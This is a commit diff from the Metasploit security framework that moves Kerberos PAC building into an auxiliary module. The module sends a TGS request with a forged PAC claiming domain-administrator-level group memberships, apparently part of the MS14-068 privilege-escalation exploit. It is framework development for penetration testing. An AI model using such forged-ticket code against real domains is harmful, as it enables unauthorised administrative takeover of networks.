Build PAC extensions from the module

bug/bundler_fix
jvazquez-r7 2014-12-19 18:47:41 -06:00
parent 04ef087434
commit 9bd454d288
2 changed files with 13 additions and 3 deletions

View File

@ -16,9 +16,9 @@ module Msf
realm = opts[:realm] || '' realm = opts[:realm] || ''
sname = opts[:sname] || build_server_name(opts) sname = opts[:sname] || build_server_name(opts)
pac = build_pac(opts) #pac = build_pac(opts)
opts.merge!({:pac => pac.encode}) #opts.merge!({:pac => pac.encode})
auth_data = build_authorization_data(opts) auth_data = build_authorization_data(opts)

View File

@ -63,6 +63,15 @@ class Metasploit4 < Msf::Auxiliary
ticket = res.ticket ticket = res.ticket
print_status("Sending TGS-REQ...") print_status("Sending TGS-REQ...")
pac = build_pac(
client_name: 'juan',
group_ids: [513, 512, 520, 518, 519],
domain_id: 'S-1-5-21-1755879683-3641577184-3486455962',
realm: 'DEMO.LOCAL',
logon_time: logon_time,
)
res = send_request_tgs( res = send_request_tgs(
client_name: 'juan', client_name: 'juan',
server_name: 'krbtgt/DEMO.LOCAL', server_name: 'krbtgt/DEMO.LOCAL',
@ -72,7 +81,8 @@ class Metasploit4 < Msf::Auxiliary
session_key: session_key, session_key: session_key,
ticket: ticket, ticket: ticket,
group_ids: [513, 512, 520, 518, 519], group_ids: [513, 512, 520, 518, 519],
domain_id: 'S-1-5-21-1755879683-3641577184-3486455962' domain_id: 'S-1-5-21-1755879683-3641577184-3486455962',
pac: pac.encode
) )
unless res.msg_type == 13 unless res.msg_type == 13